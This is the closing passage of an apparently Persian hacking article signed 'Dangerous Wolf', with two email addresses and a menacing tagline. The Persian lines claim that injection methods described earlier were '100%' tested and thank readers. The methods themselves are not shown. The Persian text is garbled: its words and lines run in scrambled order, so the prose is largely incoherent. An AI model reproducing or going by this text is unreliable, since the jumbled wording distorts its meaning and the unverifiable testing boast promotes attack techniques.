Crouz     لـذا در هـر جـای آن کـه      وحاصـل آزمـون هـای تجربـی خـودم بـوده       تقریبااین مقاله   که همچنین لازم به ذکر است. ثبت و ضبط شده است 

 .شده اندو آزمایش  تست )) صد در صد (( هر چند تمامی روش های تزریقی که در بالا ذکر شد به صورت. مطلع سازیداشتباهی دیدید، حتما مرا 
 

 .با تشکر از تمامی عزیزانی که منت گماردند و در این مجموعه ی حقیر، نظر افکندند
 
Now, I want to say: Does anybody ELSE see a small discrepancy here (with this presentation)? 

 
Written by: Dangerous Wolf (dangerous_wolf) 
E-Mail: sarve_paidar@yahoo.com – ferilol@yahoo.com 
 
Wolf in the night is more beautiful & more dangerous. So look your back to know Is there any wolf there? If 
yes, now you're in the Cradle of Fear!! 
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